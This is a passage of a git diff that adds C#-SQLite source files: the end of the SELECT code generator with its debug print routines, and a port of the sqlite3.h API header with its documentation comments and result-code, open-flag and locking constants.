query is a "SELECT min(x)", then the loop coded by + ** where.c should not iterate over any values with a NULL value + ** for x. + ** + ** + The optimizer code in where.c (the thing that decides which + ** index or indices to use) should place a different priority on + ** satisfying the 'ORDER BY' clause than it does in other cases. + ** Refer to code and comments in where.c for details. + */ + ExprList pMinMax = null; + int flag = minMaxQuery( p ); + if ( flag != 0 ) + { + Debug.Assert( !ExprHasProperty( p.pEList.a[0].pExpr, EP_xIsSelect ) ); + pMinMax = sqlite3ExprListDup( db, p.pEList.a[0].pExpr.x.pList, 0 ); + pDel = pMinMax; + if ( pMinMax != null )///* && 0 == db.mallocFailed */ ) + { + pMinMax.a[0].sortOrder = (u8)( flag != WHERE_ORDERBY_MIN ? 1 : 0 ); + pMinMax.a[0].pExpr.op = TK_COLUMN; + } + } + + /* This case runs if the aggregate has no GROUP BY clause. The + ** processing is much simpler since there is only a single row + ** of output. + */ + resetAccumulator( pParse, sAggInfo ); + pWInfo = sqlite3WhereBegin( pParse, pTabList, pWhere, ref pMinMax, (byte)flag ); + if ( pWInfo == null ) + { + sqlite3ExprListDelete( db, ref pDel ); + goto select_end; + } + updateAccumulator( pParse, sAggInfo ); + if ( pMinMax == null && flag != 0 ) + { + sqlite3VdbeAddOp2( v, OP_Goto, 0, pWInfo.iBreak ); +#if SQLITE_DEBUG + VdbeComment( v, "%s() by index", + ( flag == WHERE_ORDERBY_MIN ? "min" : "max" ) ); +#endif + } + sqlite3WhereEnd( pWInfo ); + finalizeAggFunctions( pParse, sAggInfo ); + } + + pOrderBy = null; + sqlite3ExprIfFalse( pParse, pHaving, addrEnd, SQLITE_JUMPIFNULL ); + selectInnerLoop( pParse, p, p.pEList, 0, 0, null, -1, + pDest, addrEnd, addrEnd ); + + sqlite3ExprListDelete( db, ref pDel ); + } + sqlite3VdbeResolveLabel( v, addrEnd ); + + } /* endif aggregate query */ + + /* If there is an ORDER BY clause, then we need to sort the results + ** and send them to the callback one by one. + */ + if ( pOrderBy != null ) + { + generateSortTail( pParse, p, v, pEList.nExpr, pDest ); + } + + /* Jump here to skip this query + */ + sqlite3VdbeResolveLabel( v, iEnd ); + + /* The SELECT was successfully coded. Set the return code to 0 + ** to indicate no errors. + */ + rc = 0; + + /* Control jumps to here if an error is encountered above, or upon + ** successful coding of the SELECT. + */ +select_end: + + /* Identify column names if results of the SELECT are to be output. + */ + if ( rc == SQLITE_OK && pDest.eDest == SRT_Output ) + { + generateColumnNames( pParse, pTabList, pEList ); + } + + //sqlite3DbFree( db, ref sAggInfo.aCol ); + //sqlite3DbFree( db, ref sAggInfo.aFunc ); + return rc; + } + +#if SQLITE_DEBUG + /* +******************************************************************************* +** The following code is used for testing and debugging only. The code +** that follows does not appear in normal builds. +** +** These routines are used to print out the content of all or part of a +** parse structures such as Select or Expr. Such printouts are useful +** for helping to understand what is happening inside the code generator +** during the execution of complex SELECT statements. +** +** These routine are not called anywhere from within the normal +** code base. Then are intended to be called from within the debugger +** or from temporary "printf" statements inserted for debugging. +*/ + void sqlite3PrintExpr( Expr p ) + { + if ( !ExprHasProperty( p, EP_IntValue ) && p.u.zToken != null ) + { + sqlite3DebugPrintf( "(%s", p.u.zToken ); + } + else + { + sqlite3DebugPrintf( "(%d", p.op ); + } + if ( p.pLeft != null ) + { + sqlite3DebugPrintf( " " ); + sqlite3PrintExpr( p.pLeft ); + } + if ( p.pRight != null ) + { + sqlite3DebugPrintf( " " ); + sqlite3PrintExpr( p.pRight ); + } + sqlite3DebugPrintf( ")" ); + } + void sqlite3PrintExprList( ExprList pList ) + { + int i; + for ( i = 0 ; i < pList.nExpr ; i++ ) + { + sqlite3PrintExpr( pList.a[i].pExpr ); + if ( i < pList.nExpr - 1 ) + { + sqlite3DebugPrintf( ", " ); + } + } + } + void sqlite3PrintSelect( Select p, int indent ) + { + sqlite3DebugPrintf( "%*sSELECT(%p) ", indent, "", p ); + sqlite3PrintExprList( p.pEList ); + sqlite3DebugPrintf( "\n" ); + if ( p.pSrc != null ) + { + string zPrefix; + int i; + zPrefix = "FROM"; + for ( i = 0 ; i < p.pSrc.nSrc ; i++ ) + { + SrcList_item pItem = p.pSrc.a[i]; + sqlite3DebugPrintf( "%*s ", indent + 6, zPrefix ); + zPrefix = ""; + if ( pItem.pSelect != null ) + { + sqlite3DebugPrintf( "(\n" ); + sqlite3PrintSelect( pItem.pSelect, indent + 10 ); + sqlite3DebugPrintf( "%*s)", indent + 8, "" ); + } + else if ( pItem.zName != null ) + { + sqlite3DebugPrintf( "%s", pItem.zName ); + } + if ( pItem.pTab != null ) + { + sqlite3DebugPrintf( "(table: %s)", pItem.pTab.zName ); + } + if ( pItem.zAlias != null ) + { + sqlite3DebugPrintf( " AS %s", pItem.zAlias ); + } + if ( i < p.pSrc.nSrc - 1 ) + { + sqlite3DebugPrintf( "," ); + } + sqlite3DebugPrintf( "\n" ); + } + } + if ( p.pWhere != null ) + { + sqlite3DebugPrintf( "%*s WHERE ", indent, "" ); + sqlite3PrintExpr( p.pWhere ); + sqlite3DebugPrintf( "\n" ); + } + if ( p.pGroupBy != null ) + { + sqlite3DebugPrintf( "%*s GROUP BY ", indent, "" ); + sqlite3PrintExprList( p.pGroupBy ); + sqlite3DebugPrintf( "\n" ); + } + if ( p.pHaving != null ) + { + sqlite3DebugPrintf( "%*s HAVING ", indent, "" ); + sqlite3PrintExpr( p.pHaving ); + sqlite3DebugPrintf( "\n" ); + } + if ( p.pOrderBy != null ) + { + sqlite3DebugPrintf( "%*s ORDER BY ", indent, "" ); + sqlite3PrintExprList( p.pOrderBy ); + sqlite3DebugPrintf( "\n" ); + } + } + /* End of the structure debug printing code + *****************************************************************************/ +#endif // * defined(SQLITE_TEST) || defined(SQLITE_DEBUG) */ + } +} diff --git a/SQLite/src/sqlite3_h.cs b/SQLite/src/sqlite3_h.cs new file mode 100644 index 0000000..88b114a --- /dev/null +++ b/SQLite/src/sqlite3_h.cs @@ -0,0 +1,6139 @@ +using u8 = System.Byte; + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This header file defines the interface that the SQLite library + ** presents to client programs. If a C-function, structure, datatype, + ** or constant definition does not appear in this file, then it is + ** not a published API of SQLite, is subject to change without + ** notice, and should not be referenced by programs that use SQLite. + ** + ** Some of the definitions that are in this file are marked as + ** "experimental". Experimental interfaces are normally new + ** features recently added to SQLite. We do not anticipate changes + ** to experimental interfaces but reserve to make minor changes if + ** experience from use "in the wild" suggest such changes are prudent. + ** + ** The official C-language API documentation for SQLite is derived + ** from comments in this file. This file is the authoritative source + ** on how SQLite interfaces are suppose to operate. + ** + ** The name of this file under configuration management is "sqlite.h.in". + ** The makefile makes some minor changes to this file (such as inserting + ** the version number) and changes its name to "sqlite3.h" as + ** part of the build process. + ** + ** @(#) $Id: sqlite.h.in,v 1.462 2009/08/06 17:40:46 drh Exp $ + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#ifndef _SQLITE3_H_ + //#define _SQLITE3_H_ + //#include /* Needed for the definition of va_list */ + + /* + ** Make sure we can call this stuff from C++. + */ + //#ifdef __cplusplus + //extern "C" { + //#endif + + + /* + ** Add the ability to override 'extern' + */ + //#ifndef SQLITE_EXTERN + //# define SQLITE_EXTERN extern + //#endif + + //#ifndef SQLITE_API + //# define SQLITE_API + //#endif + + + /* + ** These no-op macros are used in front of interfaces to mark those + ** interfaces as either deprecated or experimental. New applications + ** should not use deprecated intrfaces - they are support for backwards + ** compatibility only. Application writers should be aware that + ** experimental interfaces are subject to change in point releases. + ** + ** These macros used to resolve to various kinds of compiler magic that + ** would generate warning messages when they were used. But that + ** compiler magic ended up generating such a flurry of bug reports + ** that we have taken it all out and gone back to using simple + ** noop macros. + */ + //#define SQLITE_DEPRECATED + //#define SQLITE_EXPERIMENTAL + + /* + ** Ensure these symbols were not defined by some previous header file. + */ + //#ifdef SQLITE_VERSION + //# undef SQLITE_VERSION + //#endif + //#ifdef SQLITE_VERSION_NUMBER + //# undef SQLITE_VERSION_NUMBER + //#endif + + /* + ** CAPI3REF: Compile-Time Library Version Numbers {H10010} + ** + ** The SQLITE_VERSION and SQLITE_VERSION_NUMBER #defines in + ** the sqlite3.h file specify the version of SQLite with which + ** that header file is associated. + ** + ** The "version" of SQLite is a string of the form "X.Y.Z". + ** The phrase "alpha" or "beta" might be appended after the Z. + ** The X value is major version number always 3 in SQLite3. + ** The X value only changes when backwards compatibility is + ** broken and we intend to never break backwards compatibility. + ** The Y value is the minor version number and only changes when + ** there are major feature enhancements that are forwards compatible + ** but not backwards compatible. + ** The Z value is the release number and is incremented with + ** each release but resets back to 0 whenever Y is incremented. + ** + ** See also: [sqlite3_libversion()] and [sqlite3_libversion_number()]. + ** + ** Requirements: [H10011] [H10014] + */ + //#define SQLITE_VERSION "3.6.17" + //#define SQLITE_VERSION_NUMBER 3006017 + const string SQLITE_VERSION = "3.6.17.C#"; + const int SQLITE_VERSION_NUMBER = 300601767; + + /* + ** CAPI3REF: Run-Time Library Version Numbers {H10020} + ** KEYWORDS: sqlite3_version + ** + ** These features provide the same information as the [SQLITE_VERSION] + ** and [SQLITE_VERSION_NUMBER] #defines in the header, but are associated + ** with the library instead of the header file. Cautious programmers might + ** include a check in their application to verify that + ** sqlite3_libversion_number() always returns the value + ** [SQLITE_VERSION_NUMBER]. + ** + ** The sqlite3_libversion() function returns the same information as is + ** in the sqlite3_version[] string constant. The function is provided + ** for use in DLLs since DLL users usually do not have direct access to string + ** constants within the DLL. + ** + ** Requirements: [H10021] [H10022] [H10023] + */ + //SQLITE_API SQLITE_EXTERN const char sqlite3_version[]; + //SQLITE_API const char *sqlite3_libversion(void); + //SQLITE_API int sqlite3_libversion_number(void); + + /* + ** CAPI3REF: Test To See If The Library Is Threadsafe {H10100} + ** + ** SQLite can be compiled with or without mutexes. When + ** the [SQLITE_THREADSAFE] C preprocessor macro 1 or 2, mutexes + ** are enabled and SQLite is threadsafe. When the + ** [SQLITE_THREADSAFE] macro is 0, + ** the mutexes are omitted. Without the mutexes, it is not safe + ** to use SQLite concurrently from more than one thread. + ** + ** Enabling mutexes incurs a measurable performance penalty. + ** So if speed is of utmost importance, it makes sense to disable + ** the mutexes. But for maximum safety, mutexes should be enabled. + ** The default behavior is for mutexes to be enabled. + ** + ** This interface can be used by a program to make sure that the + ** version of SQLite that it is linking against was compiled with + ** the desired setting of the [SQLITE_THREADSAFE] macro. + ** + ** This interface only reports on the compile-time mutex setting + ** of the [SQLITE_THREADSAFE] flag. If SQLite is compiled with + ** SQLITE_THREADSAFE=1 then mutexes are enabled by default but + ** can be fully or partially disabled using a call to [sqlite3_config()] + ** with the verbs [SQLITE_CONFIG_SINGLETHREAD], [SQLITE_CONFIG_MULTITHREAD], + ** or [SQLITE_CONFIG_MUTEX]. The return value of this function shows + ** only the default compile-time setting, not any run-time changes + ** to that setting. + ** + ** See the [threading mode] documentation for additional information. + ** + ** Requirements: [H10101] [H10102] + */ + //SQLITE_API int sqlite3_threadsafe(void); + + /* + ** CAPI3REF: Database Connection Handle {H12000} + ** KEYWORDS: {database connection} {database connections} + ** + ** Each open SQLite database is represented by a pointer to an instance of + ** the opaque structure named "sqlite3". It is useful to think of an sqlite3 + ** pointer as an object. The [sqlite3_open()], [sqlite3_open16()], and + ** [sqlite3_open_v2()] interfaces are its constructors, and [sqlite3_close()] + ** is its destructor. There are many other interfaces (such as + ** [sqlite3_prepare_v2()], [sqlite3_create_function()], and + ** [sqlite3_busy_timeout()] to name but three) that are methods on an + ** sqlite3 object. + */ + //typedef struct sqlite3 sqlite3; + + /* + ** CAPI3REF: 64-Bit Integer Types {H10200} + ** KEYWORDS: sqlite_int64 sqlite_uint64 + ** + ** Because there is no cross-platform way to specify 64-bit integer types + ** SQLite includes typedefs for 64-bit signed and unsigned integers. + ** + ** The sqlite3_int64 and sqlite3_uint64 are the preferred type definitions. + ** The sqlite_int64 and sqlite_uint64 types are supported for backwards + ** compatibility only. + ** + ** Requirements: [H10201] [H10202] + */ + //#ifdef SQLITE_INT64_TYPE + // typedef SQLITE_INT64_TYPE sqlite_int64; + // typedef unsigned SQLITE_INT64_TYPE sqlite_uint64; + //#elif defined(_MSC_VER) || defined(__BORLANDC__) + // typedef __int64 sqlite_int64; + // typedef unsigned __int64 sqlite_uint64; + //#else + // typedef long long int sqlite_int64; + // typedef unsigned long long int sqlite_uint64; + //#endif + //typedef sqlite_int64 sqlite3_int64; + //typedef sqlite_uint64 sqlite3_uint64; + + /* + ** If compiling for a processor that lacks floating point support, + ** substitute integer for floating-point. + */ + //#ifdef SQLITE_OMIT_FLOATING_POINT + //# define double sqlite3_int64 + //#endif + + /* + ** CAPI3REF: Closing A Database Connection {H12010} + ** + ** This routine is the destructor for the [sqlite3] object. + ** + ** Applications should [sqlite3_finalize | finalize] all [prepared statements] + ** and [sqlite3_blob_close | close] all [BLOB handles] associated with + ** the [sqlite3] object prior to attempting to close the object. + ** The [sqlite3_next_stmt()] interface can be used to locate all + ** [prepared statements] associated with a [database connection] if desired. + ** Typical code might look like this: + ** + **
    +    ** sqlite3_stmt *pStmt;
    +    ** while( (pStmt = sqlite3_next_stmt(db, 0))!=0 ){
    +    **     sqlite3_finalize(pStmt);
    +    ** }
    +    ** 
    + ** + ** If [sqlite3_close()] is invoked while a transaction is open, + ** the transaction is automatically rolled back. + ** + ** The C parameter to [sqlite3_close(C)] must be either a NULL + ** pointer or an [sqlite3] object pointer obtained + ** from [sqlite3_open()], [sqlite3_open16()], or + ** [sqlite3_open_v2()], and not previously closed. + ** + ** Requirements: + ** [H12011] [H12012] [H12013] [H12014] [H12015] [H12019] + */ + //SQLITE_API int sqlite3_close(sqlite3 *); + + /* + ** The type for a callback function. + ** This is legacy and deprecated. It is included for historical + ** compatibility and is not documented. + */ + //typedef int (*sqlite3_callback)(void*,int,char**, char**); + + /* + ** CAPI3REF: One-Step Query Execution Interface {H12100} + ** + ** The sqlite3_exec() interface is a convenient way of running one or more + ** SQL statements without having to write a lot of C code. The UTF-8 encoded + ** SQL statements are passed in as the second parameter to sqlite3_exec(). + ** The statements are evaluated one by one until either an error or + ** an interrupt is encountered, or until they are all done. The 3rd parameter + ** is an optional callback that is invoked once for each row of any query + ** results produced by the SQL statements. The 5th parameter tells where + ** to write any error messages. + ** + ** The error message passed back through the 5th parameter is held + ** in memory obtained from [sqlite3_malloc()]. To avoid a memory leak, + ** the calling application should call [sqlite3_free()] on any error + ** message returned through the 5th parameter when it has finished using + ** the error message. + ** + ** If the SQL statement in the 2nd parameter is NULL or an empty string + ** or a string containing only whitespace and comments, then no SQL + ** statements are evaluated and the database is not changed. + ** + ** The sqlite3_exec() interface is implemented in terms of + ** [sqlite3_prepare_v2()], [sqlite3_step()], and [sqlite3_finalize()]. + ** The sqlite3_exec() routine does nothing to the database that cannot be done + ** by [sqlite3_prepare_v2()], [sqlite3_step()], and [sqlite3_finalize()]. + ** + ** The first parameter to [sqlite3_exec()] must be an valid and open + ** [database connection]. + ** + ** The database connection must not be closed while + ** [sqlite3_exec()] is running. + ** + ** The calling function should use [sqlite3_free()] to free + ** the memory that *errmsg is left pointing at once the error + ** message is no longer needed. + ** + ** The SQL statement text in the 2nd parameter to [sqlite3_exec()] + ** must remain unchanged while [sqlite3_exec()] is running. + ** + ** Requirements: + ** [H12101] [H12102] [H12104] [H12105] [H12107] [H12110] [H12113] [H12116] + ** [H12119] [H12122] [H12125] [H12131] [H12134] [H12137] [H12138] + */ + //SQLITE_API int sqlite3_exec( + //// sqlite3*, /* An open database */ + // const char *sql, /* SQL to be evaluated */ + // int (*callback)(void*,int,char**,char**), /* Callback function */ + // void *, /* 1st argument to callback */ + // char **errmsg /* Error msg written here */ + //); + + /* + ** CAPI3REF: Result Codes {H10210} + ** KEYWORDS: SQLITE_OK {error code} {error codes} + ** KEYWORDS: {result code} {result codes} + ** + ** Many SQLite functions return an integer result code from the set shown + ** here in order to indicates success or failure. + ** + ** New error codes may be added in future versions of SQLite. + ** + ** See also: [SQLITE_IOERR_READ | extended result codes] + */ + //#define SQLITE_OK 0 /* Successful result */ + ///* beginning-of-error-codes */ + //#define SQLITE_ERROR 1 /* SQL error or missing database */ + //#define SQLITE_INTERNAL 2 /* Internal logic error in SQLite */ + //#define SQLITE_PERM 3 /* Access permission denied */ + //#define SQLITE_ABORT 4 /* Callback routine requested an abort */ + //#define SQLITE_BUSY 5 /* The database file is locked */ + //#define SQLITE_LOCKED 6 /* A table in the database is locked */ + //#define SQLITE_NOMEM 7 /* A malloc() failed */ + //#define SQLITE_READONLY 8 /* Attempt to write a readonly database */ + //#define SQLITE_INTERRUPT 9 /* Operation terminated by sqlite3_interrupt()*/ + //#define SQLITE_IOERR 10 /* Some kind of disk I/O error occurred */ + //#define SQLITE_CORRUPT 11 /* The database disk image is malformed */ + //#define SQLITE_NOTFOUND 12 /* NOT USED. Table or record not found */ + //#define SQLITE_FULL 13 /* Insertion failed because database is full */ + //#define SQLITE_CANTOPEN 14 /* Unable to open the database file */ + //#define SQLITE_PROTOCOL 15 /* NOT USED. Database lock protocol error */ + //#define SQLITE_EMPTY 16 /* Database is empty */ + //#define SQLITE_SCHEMA 17 /* The database schema changed */ + //#define SQLITE_TOOBIG 18 /* String or BLOB exceeds size limit */ + //#define SQLITE_CONSTRAINT 19 /* Abort due to constraint violation */ + //#define SQLITE_MISMATCH 20 /* Data type mismatch */ + //#define SQLITE_MISUSE 21 /* Library used incorrectly */ + //#define SQLITE_NOLFS 22 /* Uses OS features not supported on host */ + //#define SQLITE_AUTH 23 /* Authorization denied */ + //#define SQLITE_FORMAT 24 /* Auxiliary database format error */ + //#define SQLITE_RANGE 25 /* 2nd parameter to sqlite3_bind out of range */ + //#define SQLITE_NOTADB 26 /* File opened that is not a database file */ + //#define SQLITE_ROW 100 /* sqlite3_step() has another row ready */ + //#define SQLITE_DONE 101 /* sqlite3_step() has finished executing */ + + public const int SQLITE_OK = 0;/* Successful result */ + public const int SQLITE_ERROR = 1;/* SQL error or missing database */ + public const int SQLITE_INTERNAL = 2;/* Internal logic error in SQLite */ + public const int SQLITE_PERM = 3;/* Access permission denied */ + public const int SQLITE_ABORT = 4;/* Callback routine requested an abort */ + public const int SQLITE_BUSY = 5;/* The database file is locked */ + public const int SQLITE_LOCKED = 6;/* A table in the database is locked */ + public const int SQLITE_NOMEM = 7;/* A malloc() failed */ + public const int SQLITE_READONLY = 8;/* Attempt to write a readonly database */ + public const int SQLITE_INTERRUPT = 9;/* Operation terminated by sqlite3_interrupt()*/ + public const int SQLITE_IOERR = 10;/* Some kind of disk I/O error occurred */ + public const int SQLITE_CORRUPT = 11;/* The database disk image is malformed */ + public const int SQLITE_NOTFOUND = 12;/* NOT USED. Table or record not found */ + public const int SQLITE_FULL = 13;/* Insertion failed because database is full */ + public const int SQLITE_CANTOPEN = 14;/* Unable to open the database file */ + public const int SQLITE_PROTOCOL = 15;/* NOT USED. Database lock protocol error */ + public const int SQLITE_EMPTY = 16;/* Database is empty */ + public const int SQLITE_SCHEMA = 17;/* The database schema changed */ + public const int SQLITE_TOOBIG = 18;/* String or BLOB exceeds size limit */ + public const int SQLITE_CONSTRAINT = 19;/* Abort due to constraint violation */ + public const int SQLITE_MISMATCH = 20;/* Data type mismatch */ + public const int SQLITE_MISUSE = 21;/* Library used incorrectly */ + public const int SQLITE_NOLFS = 22;/* Uses OS features not supported on host */ + public const int SQLITE_AUTH = 23;/* Authorization denied */ + public const int SQLITE_FORMAT = 24;/* Auxiliary database format error */ + public const int SQLITE_RANGE = 25;/* 2nd parameter to sqlite3_bind out of range */ + public const int SQLITE_NOTADB = 26;/* File opened that is not a database file */ + public const int SQLITE_ROW = 100;/* sqlite3_step() has another row ready */ + public const int SQLITE_DONE = 101;/* sqlite3_step() has finished executing */ + /* end-of-error-codes */ + + /* + ** CAPI3REF: Extended Result Codes {H10220} + ** KEYWORDS: {extended error code} {extended error codes} + ** KEYWORDS: {extended result code} {extended result codes} + ** + ** In its default configuration, SQLite API routines return one of 26 integer + ** [SQLITE_OK | result codes]. However, experience has shown that many of + ** these result codes are too coarse-grained. They do not provide as + ** much information about problems as programmers might like. In an effort to + ** address this, newer versions of SQLite (version 3.3.8 and later) include + ** support for additional result codes that provide more detailed information + ** about errors. The extended result codes are enabled or disabled + ** on a per database connection basis using the + ** [sqlite3_extended_result_codes()] API. + ** + ** Some of the available extended result codes are listed here. + ** One may expect the number of extended result codes will be expand + ** over time. Software that uses extended result codes should expect + ** to see new result codes in future releases of SQLite. + ** + ** The SQLITE_OK result code will never be extended. It will always + ** be exactly zero. + */ + //#define SQLITE_IOERR_READ (SQLITE_IOERR | (1<<8)) + //#define SQLITE_IOERR_SHORT_READ (SQLITE_IOERR | (2<<8)) + //#define SQLITE_IOERR_WRITE (SQLITE_IOERR | (3<<8)) + //#define SQLITE_IOERR_FSYNC (SQLITE_IOERR | (4<<8)) + //#define SQLITE_IOERR_DIR_FSYNC (SQLITE_IOERR | (5<<8)) + //#define SQLITE_IOERR_TRUNCATE (SQLITE_IOERR | (6<<8)) + //#define SQLITE_IOERR_FSTAT (SQLITE_IOERR | (7<<8)) + //#define SQLITE_IOERR_UNLOCK (SQLITE_IOERR | (8<<8)) + //#define SQLITE_IOERR_RDLOCK (SQLITE_IOERR | (9<<8)) + //#define SQLITE_IOERR_DELETE (SQLITE_IOERR | (10<<8)) + //#define SQLITE_IOERR_BLOCKED (SQLITE_IOERR | (11<<8)) + //#define SQLITE_IOERR_NOMEM (SQLITE_IOERR | (12<<8)) + //#define SQLITE_IOERR_ACCESS (SQLITE_IOERR | (13<<8)) + //#define SQLITE_IOERR_CHECKRESERVEDLOCK (SQLITE_IOERR | (14<<8)) + //#define SQLITE_IOERR_LOCK (SQLITE_IOERR | (15<<8)) + //#define SQLITE_IOERR_CLOSE (SQLITE_IOERR | (16<<8)) + //#define SQLITE_IOERR_DIR_CLOSE (SQLITE_IOERR | (17<<8)) + //#define SQLITE_LOCKED_SHAREDCACHE (SQLITE_LOCKED | (1<<8) ) + const int SQLITE_IOERR_READ = ( SQLITE_IOERR | ( 1 << 8 ) ); + const int SQLITE_IOERR_SHORT_READ = ( SQLITE_IOERR | ( 2 << 8 ) ); + const int SQLITE_IOERR_WRITE = ( SQLITE_IOERR | ( 3 << 8 ) ); + const int SQLITE_IOERR_FSYNC = ( SQLITE_IOERR | ( 4 << 8 ) ); + const int SQLITE_IOERR_DIR_FSYNC = ( SQLITE_IOERR | ( 5 << 8 ) ); + const int SQLITE_IOERR_TRUNCATE = ( SQLITE_IOERR | ( 6 << 8 ) ); + const int SQLITE_IOERR_FSTAT = ( SQLITE_IOERR | ( 7 << 8 ) ); + const int SQLITE_IOERR_UNLOCK = ( SQLITE_IOERR | ( 8 << 8 ) ); + const int SQLITE_IOERR_RDLOCK = ( SQLITE_IOERR | ( 9 << 8 ) ); + const int SQLITE_IOERR_DELETE = ( SQLITE_IOERR | ( 10 << 8 ) ); + const int SQLITE_IOERR_BLOCKED = ( SQLITE_IOERR | ( 11 << 8 ) ); + const int SQLITE_IOERR_NOMEM = ( SQLITE_IOERR | ( 12 << 8 ) ); + const int SQLITE_IOERR_ACCESS = ( SQLITE_IOERR | ( 13 << 8 ) ); + const int SQLITE_IOERR_CHECKRESERVEDLOCK = ( SQLITE_IOERR | ( 14 << 8 ) ); + const int SQLITE_IOERR_LOCK = ( SQLITE_IOERR | ( 15 << 8 ) ); + const int SQLITE_IOERR_CLOSE = ( SQLITE_IOERR | ( 16 << 8 ) ); + const int SQLITE_IOERR_DIR_CLOSE = ( SQLITE_IOERR | ( 17 << 8 ) ); + const int SQLITE_LOCKED_SHAREDCACHE = ( SQLITE_LOCKED | ( 1 << 8 ) ); + + /* + ** CAPI3REF: Flags For File Open Operations {H10230} + ** + ** These bit values are intended for use in the + ** 3rd parameter to the [sqlite3_open_v2()] interface and + ** in the 4th parameter to the xOpen method of the + ** [sqlite3_vfs] object. + */ + //#define SQLITE_OPEN_READONLY 0x00000001 /* Ok for sqlite3_open_v2() */ + //#define SQLITE_OPEN_READWRITE 0x00000002 /* Ok for sqlite3_open_v2() */ + //#define SQLITE_OPEN_CREATE 0x00000004 /* Ok for sqlite3_open_v2() */ + //#define SQLITE_OPEN_DELETEONCLOSE 0x00000008 /* VFS only */ + //#define SQLITE_OPEN_EXCLUSIVE 0x00000010 /* VFS only */ + //#define SQLITE_OPEN_MAIN_DB 0x00000100 /* VFS only */ + //#define SQLITE_OPEN_TEMP_DB 0x00000200 /* VFS only */ + //#define SQLITE_OPEN_TRANSIENT_DB 0x00000400 /* VFS only */ + //#define SQLITE_OPEN_MAIN_JOURNAL 0x00000800 /* VFS only */ + //#define SQLITE_OPEN_TEMP_JOURNAL 0x00001000 /* VFS only */ + //#define SQLITE_OPEN_SUBJOURNAL 0x00002000 /* VFS only */ + //#define SQLITE_OPEN_MASTER_JOURNAL 0x00004000 /* VFS only */ + //#define SQLITE_OPEN_NOMUTEX 0x00008000 /* Ok for sqlite3_open_v2() */ + //#define SQLITE_OPEN_FULLMUTEX 0x00010000 /* Ok for sqlite3_open_v2() */ + public const int SQLITE_OPEN_READONLY = 0x00000001; + public const int SQLITE_OPEN_READWRITE = 0x00000002; + public const int SQLITE_OPEN_CREATE = 0x00000004; + public const int SQLITE_OPEN_DELETEONCLOSE = 0x00000008; + public const int SQLITE_OPEN_EXCLUSIVE = 0x00000010; + public const int SQLITE_OPEN_MAIN_DB = 0x00000100; + public const int SQLITE_OPEN_TEMP_DB = 0x00000200; + public const int SQLITE_OPEN_TRANSIENT_DB = 0x00000400; + public const int SQLITE_OPEN_MAIN_JOURNAL = 0x00000800; + public const int SQLITE_OPEN_TEMP_JOURNAL = 0x00001000; + public const int SQLITE_OPEN_SUBJOURNAL = 0x00002000; + public const int SQLITE_OPEN_MASTER_JOURNAL = 0x00004000; + public const int SQLITE_OPEN_NOMUTEX = 0x00008000; + public const int SQLITE_OPEN_FULLMUTEX = 0x00010000; + + + /* + ** CAPI3REF: Device Characteristics {H10240} + ** + ** The xDeviceCapabilities method of the [sqlite3_io_methods] + ** object returns an integer which is a vector of the these + ** bit values expressing I/O characteristics of the mass storage + ** device that holds the file that the [sqlite3_io_methods] + ** refers to. + ** + ** The SQLITE_IOCAP_ATOMIC property means that all writes of + ** any size are atomic. The SQLITE_IOCAP_ATOMICnnn values + ** mean that writes of blocks that are nnn bytes in size and + ** are aligned to an address which is an integer multiple of + ** nnn are atomic. The SQLITE_IOCAP_SAFE_APPEND value means + ** that when data is appended to a file, the data is appended + ** first then the size of the file is extended, never the other + ** way around. The SQLITE_IOCAP_SEQUENTIAL property means that + ** information is written to disk in the same order as calls + ** to xWrite(). + */ + //#define SQLITE_IOCAP_ATOMIC 0x00000001 + //#define SQLITE_IOCAP_ATOMIC512 0x00000002 + //#define SQLITE_IOCAP_ATOMIC1K 0x00000004 + //#define SQLITE_IOCAP_ATOMIC2K 0x00000008 + //#define SQLITE_IOCAP_ATOMIC4K 0x00000010 + //#define SQLITE_IOCAP_ATOMIC8K 0x00000020 + //#define SQLITE_IOCAP_ATOMIC16K 0x00000040 + //#define SQLITE_IOCAP_ATOMIC32K 0x00000080 + //#define SQLITE_IOCAP_ATOMIC64K 0x00000100 + //#define SQLITE_IOCAP_SAFE_APPEND 0x00000200 + //#define SQLITE_IOCAP_SEQUENTIAL 0x00000400 + const int SQLITE_IOCAP_ATOMIC = 0x00000001; + const int SQLITE_IOCAP_ATOMIC512 = 0x00000002; + const int SQLITE_IOCAP_ATOMIC1K = 0x00000004; + const int SQLITE_IOCAP_ATOMIC2K = 0x00000008; + const int SQLITE_IOCAP_ATOMIC4K = 0x00000010; + const int SQLITE_IOCAP_ATOMIC8K = 0x00000020; + const int SQLITE_IOCAP_ATOMIC16K = 0x00000040; + const int SQLITE_IOCAP_ATOMIC32K = 0x00000080; + const int SQLITE_IOCAP_ATOMIC64K = 0x00000100; + const int SQLITE_IOCAP_SAFE_APPEND = 0x00000200; + const int SQLITE_IOCAP_SEQUENTIAL = 0x00000400; + + /* + ** CAPI3REF: File Locking Levels {H10250} + ** + ** SQLite uses one of these integer values as the second + ** argument to calls it makes to the xLock() and xUnlock() methods + ** of an [sqlite3_io_methods] object. + */ + //#define SQLITE_LOCK_NONE 0 + //#define SQLITE_LOCK_SHARED 1 + //#define SQLITE_LOCK_RESERVED 2 + //#define SQLITE_LOCK_PENDING 3 + //#define SQLITE_LOCK_EXCLUSIVE 4 + const int SQLITE_LOCK_NONE = 0; + const int SQLITE_LOCK_SHARED = 1; + const int SQLITE_LOCK_RESERVED = 2; + const int SQLITE_LOCK_PENDING = 3; + const int SQLITE_LOCK_EXCLUSIVE = 4; + + /* + ** CAPI3REF: Synchronization Type Flags {H10260} + ** + ** When SQLite invokes the xSync() method of an + ** [sqlite3_io_methods] object it uses a combination of + ** these integer values as the second argument. + ** + ** When the SQLITE_SYNC_DATAONLY flag is used, it means that the + ** sync operation only needs to flush data to mass storage. Inode + ** information need not be flushed. If the lower four bits of the flag + ** equal SQLITE_SYNC_NORMAL, that means to use normal fsync() semantics. + ** If the lower four bits equal SQLITE_SYNC_FULL, that means + ** to use Mac OS X style fullsync instead of fsync(). + */ + //#define SQLITE_SYNC_NORMAL 0x00002 + //#define SQLITE_SYNC_FULL 0x00003 + //#define SQLITE_SYNC_DATAONLY 0x00010 + const int SQLITE_SYNC_NORMAL = 